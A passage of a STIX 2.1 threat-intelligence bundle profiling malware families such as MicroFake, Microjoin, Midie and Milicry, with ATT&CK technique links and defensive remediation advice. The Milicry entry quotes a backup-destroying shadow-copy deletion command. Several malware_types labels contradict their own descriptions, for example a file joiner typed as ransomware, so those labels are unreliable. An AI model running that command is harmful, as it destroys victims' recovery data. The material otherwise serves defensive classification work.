      "relationship_type": "uses",
      "source_ref": "malware--82b740ad-d5e1-5749-a2a4-c3b1b18c3ae5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miancha exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f3dfb696-d59d-5183-8ff3-8c1faaa6963c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Microfake",
      "description": "MicroFake (classified across antimalware engines under designations including Rogue:Win32/MicroFake and Trojan:Win32/MicroFake) is a rogue antivirus and scareware family designed to extort money from Windows users through deceptive security warnings mimicking genuine Microsoft Windows Defender alerts. Propagated through fake tech support pages, blackhat SEO redirects, and malicious advertising pop-ups, MicroFake displays simulated system crash screens (Blue Screen of Death / BSOD) and alarm banners claiming the victim's PC is compromised by spyware and banking trojans. It disables Task Manager and locks desktop interaction, directing the victim to call a fraudulent toll-free phone number or purchase an expensive bogus activation license. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue:Win32/MicroFake",
        "Trojan:Win32/MicroFake",
        "Scareware:Win32/MicroFake",
        "MicroFake Scareware",
        "Win32/MicroFake"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Microfake",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/microfake"
        }
      ],
      "labels": [
        "scareware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4812141e-2432-50e9-b53d-92a82d624cd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3dfb696-d59d-5183-8ff3-8c1faaa6963c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microfake exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d48a9b9e-2a74-54e8-a0c9-7f7bfad853e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3dfb696-d59d-5183-8ff3-8c1faaa6963c",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microfake exhibits technique T1491 (Defacement (UI Manipulation via Fake Alerts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1895648-0892-5d4b-90b9-1d20bf5f34d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3dfb696-d59d-5183-8ff3-8c1faaa6963c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microfake exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking real AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df2038a2-9937-51f7-92f0-53feb1fc79af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3dfb696-d59d-5183-8ff3-8c1faaa6963c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microfake exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f789f28-ad48-5f2d-9dc7-0632f14f3455",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3dfb696-d59d-5183-8ff3-8c1faaa6963c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microfake exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c570e772-24b8-52f4-8168-283446752b73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Microjoin",
      "description": "HackTool:Win32/Microjoin (or generic **File Joiner** / **Binder** heuristics) refers to a class of utilities used to secretly combine two or more distinct files into a single, functional executable. While they can be used legitimately, threat actors heavily abuse 'joiners' to bundle a highly destructive malware payload (like a RAT or ransomware) with a benign decoy file (like an image, PDF, or a legitimate software installer) to execute a sophisticated social engineering attack.<br><br><b>Understanding File Joiners</b><br>To a victim, executing the joined file appears completely normal; they double-click a 'PDF' (which is actually an `.exe` with a spoofed icon), Adobe Reader opens, and they view the document. For a security analyst, a Microjoin alert means the user has been tricked. While the user was reading the decoy document, the joined malware payload was silently extracted and executed in the background, establishing a backdoor.<br><br><b>Execution and Bundling Mechanics</b><br>File joiners operate by taking the raw byte streams of the decoy file and the malicious payload and appending them together, along with a small 'stub' executable (`T1027`). The attacker distributes this joined file via spearphishing (`T1566.001`), often using Right-to-Left Override (RLO) characters or spoofed icons (`T1036`) to make the `.exe` look like a safe document. When executed (`T1204.002`), the stub runs first. It extracts the decoy file to the `%Temp%` directory and opens it with the default application (e.g., Adobe Reader). Simultaneously, it extracts the malware payload, executes it silently in the background, and establishes persistence.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden secondary payload (often a RAT). Incident responders should closely monitor EDR logs for 'Anomalous Child Process Spawning'. A major IoC is an executable file dropping a document (PDF/DOCX) into the Temp folder and immediately launching it, while simultaneously launching a secondary, hidden process. Static analysis of the dropped file will reveal the distinct MZ headers of the bundled executables within the larger file structure. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Microjoin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/microjoin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--091b2879-323f-59cb-b3ed-19f6edf1dddd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c570e772-24b8-52f4-8168-283446752b73",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microjoin exhibits technique T1027 (Obfuscated Files or Information (Bundling files together))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f0488ab-aab6-522c-b038-bd516ed82088",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c570e772-24b8-52f4-8168-283446752b73",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microjoin exhibits technique T1036 (Masquerading (Spoofing icons and extensions of the joined file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34a52626-35e9-5398-b980-278218fa0dab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c570e772-24b8-52f4-8168-283446752b73",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microjoin exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7591140-60d4-5a1c-92e8-fdbefcea823b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c570e772-24b8-52f4-8168-283446752b73",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Microjoin exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5114d203-f84c-5d62-9007-5a6efe553e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Micronames",
      "description": "<h3>Executive Summary</h3>\nMicronames (often detected as Adware.Micronames or Trojan.Micronames) is a prevalent family of aggressive Adware and Potentially Unwanted Programs (PUPs) engineered to monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance.\n\n<h3>Distribution and Technical Behavior</h3>\nMicronames is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, Micronames deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Micronames alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Micronames does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Micronames executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Micronames",
        "PUP.Micronames",
        "BrowserModifier:Win32/Micronames"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Micronames",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/micronames"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7595b074-bd86-56b1-bfd3-f9ff730b79d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5114d203-f84c-5d62-9007-5a6efe553e3e",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Micronames exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51061bb4-0fe9-5527-8c1b-7a505df934e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5114d203-f84c-5d62-9007-5a6efe553e3e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Micronames exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c953f445-cc4c-5b1c-ab66-297ed5e5533c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5114d203-f84c-5d62-9007-5a6efe553e3e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Micronames exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eeb2741c-6751-54ad-86cf-b6f64ac5fbe4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Midia",
      "description": "Virus:Win32/Midia is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Midia</b><br>To an end-user, a Midia infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Midia is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Midia is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Midia frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Midia reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Midia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/midia"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d77b6ff8-72de-5a0c-9f06-4305a64c8fd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eeb2741c-6751-54ad-86cf-b6f64ac5fbe4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midia exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d15f823c-147e-511d-88d3-3a8bc8f171e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eeb2741c-6751-54ad-86cf-b6f64ac5fbe4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midia exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afe182cf-df80-5e70-80f9-0ce4e670e309",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eeb2741c-6751-54ad-86cf-b6f64ac5fbe4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midia exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--296dc760-fd85-5f76-994b-70b5c2958dff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eeb2741c-6751-54ad-86cf-b6f64ac5fbe4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midia exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a7ec112-f594-5a78-9bc4-639da03cfa6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eeb2741c-6751-54ad-86cf-b6f64ac5fbe4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midia exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--612621ac-305c-5deb-92c7-fae926abd26d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Midie",
      "description": "Midie (cataloged across security software as Trojan:Win32/Midie, Trojan.Win32.Midie, and Backdoor:Win32/Midie) is a modular Windows trojan and backdoor loader that surfaced in 2013. Designed to compromise Windows endpoints, Midie disguises itself as legitimate system utilities, cracked productivity software, or game patches. Once executed, Midie establishes persistence in the Windows Registry, hooks into network communication APIs, and contacts remote command-and-control servers to download secondary trojans, cryptominers, or spyware. In addition to staging secondary payloads, Midie can execute remote shell commands, perform local system reconnaissance, and manipulate file systems. Midie distribution campaigns have frequently weaponized document exploit lures leveraging CVE-2012-0158. (Observed samples in benchmark: 341)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Midie",
        "Trojan.Win32.Midie",
        "Win32/Midie",
        "Midie.A",
        "Backdoor:Win32/Midie"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Midie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/midie"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa4994db-9752-50c5-a5c7-d8422ade5901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--612621ac-305c-5deb-92c7-fae926abd26d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midie exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--477f3e21-4be7-5805-81d5-3f3d88fa75e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--612621ac-305c-5deb-92c7-fae926abd26d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midie exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cc2ed30-d464-5375-a3ba-3755aad178d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--612621ac-305c-5deb-92c7-fae926abd26d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midie exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cf38d7b-7c48-586b-a40a-8a5579601a08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--612621ac-305c-5deb-92c7-fae926abd26d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midie exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3850a9f2-3ff7-54c0-b5f4-6ebeff73430a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--612621ac-305c-5deb-92c7-fae926abd26d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Midie exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0127366-ec08-5cbe-9a62-ad7b0667693a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mikey",
      "description": "Mikey (cataloged across security software as PUA.Win32.Mikey.AA, Trojan:Win32/Mikey, and PUA:Win32/Mikey!MTB) is a pervasive Potentially Unwanted Application (PUA) and adware downloader operating on Windows platforms since 2015. Typically distributed through commercial software bundlers, pay-per-install (PPI) networks, and pirated media repositories, Mikey masquerades as a software update utility or media codec pack. Upon installation, Mikey establishes background persistence through Windows scheduled tasks and autostart registry entries, creating dedicated folders under %LOCALAPPDATA% to house its binary components. Once active, the application monitors browser sessions, modifies default search engine preferences, injects unwanted banner advertisements into web pages, and communicates with remote affiliate servers to report machine telemetry and download additional monetized adware modules. (Observed samples in benchmark: 314)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA.Win32.Mikey.AA",
        "Trojan:Win32/Mikey",
        "PUA:Win32/Mikey!MTB",
        "Win32/Mikey",
        "Adware.Mikey"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mikey",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mikey"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7163799e-530e-5018-aa44-2cb9e1854c94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0127366-ec08-5cbe-9a62-ad7b0667693a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mikey exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66e87666-4f1c-5744-9413-b00a9f69f7e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0127366-ec08-5cbe-9a62-ad7b0667693a",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mikey exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f06dd412-f81e-5ad5-aece-bf3caca5abc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0127366-ec08-5cbe-9a62-ad7b0667693a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mikey exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecd150ad-8d1a-5dd1-9fc9-2e2fc2d25aca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0127366-ec08-5cbe-9a62-ad7b0667693a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mikey exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99903b50-f984-5457-8069-e559d5461765",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0127366-ec08-5cbe-9a62-ad7b0667693a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mikey exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a22a0360-02b0-5ccd-a818-5218e51e6f23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Milicry",
      "description": "<h3>Executive Summary</h3>\nMilicry is a destructive family of Ransomware designed to infiltrate Windows systems, rapidly encrypt valuable user data, and extort the victim for financial gain. Like many mid-tier ransomware families, Milicry relies on aggressive distribution tactics and strong cryptographic algorithms to deny access to critical files, causing significant operational downtime for affected organizations and individuals.\n\n<h3>Infection Vector and Encryption Mechanics</h3>\nMilicry is most frequently distributed via malicious spam (malspam) campaigns containing weaponized attachments (e.g., Office documents with macro exploits or deceptive ZIP archives) or via exploit kits hosted on compromised websites.\n\nOnce executed, the ransomware initiates its encryption routine:\n<ul>\n<li><strong>Pre-Encryption Evasion:</strong> Milicry typically attempts to disable local antivirus services and delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy recovery of the encrypted files.</li>\n<li><strong>Data Encryption:</strong> The malware scans local drives and mapped network shares for specific file extensions (documents, databases, images, archives). It utilizes a robust combination of symmetric (e.g., AES) and asymmetric (e.g., RSA) cryptography. The encrypted files are typically appended with a specific, recognizable extension (often related to the malware's name or a random string).</li>\n<li><strong>Extortion:</strong> After encryption is complete, Milicry drops a ransom note (usually a `.txt` or `.html` file) in every affected directory and often changes the desktop wallpaper. The note provides instructions for paying the ransom in cryptocurrency (usually Bitcoin) to obtain the decryption key.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Milicry infection is a critical security incident that directly impacts data availability and business continuity. Because it aggressively targets mapped network drives, a single compromised endpoint can rapidly encrypt shared corporate data repositories, magnifying the impact of the attack.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The infected host must be immediately disconnected from the LAN and Wi-Fi to halt the encryption of mapped network shares and sever communication with the attacker's C2 infrastructure.</li>\n<li><strong>Do Not Pay:</strong> Paying the ransom funds criminal enterprises and does not guarantee data recovery. Organizations should check resources like the \"No More Ransom\" project to see if a free decryptor has been released for the specific Milicry variant encountered.</li>\n<li><strong>Restore from Backup:</strong> The most reliable recovery method is to wipe the infected system completely, reinstall the operating system, and restore data from a clean, offline, immutable backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Milicry",
        "Ransom:Win32/Milicry"
      ],
